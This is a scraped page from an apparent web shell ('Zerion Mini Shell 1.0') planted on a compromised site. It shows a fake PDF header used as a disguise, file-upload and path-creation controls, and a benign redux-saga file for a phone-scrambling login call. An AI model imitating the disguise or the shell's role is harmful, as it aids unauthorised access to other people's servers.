%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/.f81b4c9eb38fd76cdf20462cf2027aa3/static/js/sagas/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/.f81b4c9eb38fd76cdf20462cf2027aa3/static/js/sagas/scramblePhone.js

import { put, call, takeEvery } from "redux-saga/effects";
import configFunc from "config/config";
import LIST_ACTIONS from "../constants/action_types";
import { postDataAction } from "../common/actions";

const config = configFunc();

function* runScramblePhone(action) {
  const sendOtpUrl = `${config.apiUrl}login/scramblephone`;

  try {
    yield call(
      postDataAction(sendOtpUrl, action.data, false, {
        "Content-Type": "application/json",
      }),
    );

    yield put({
      type: LIST_ACTIONS.SCRAMBLE_PHONE_SUCCESS,
    });
  } catch (e) {
    yield put({
      type: LIST_ACTIONS.SCRAMBLE_PHONE_FAILURE,
    });
  }
}

export default function* scramblePhone() {
  yield takeEvery(LIST_ACTIONS.SCRAMBLE_PHONE, runScramblePhone);
}

Zerion Mini Shell 1.0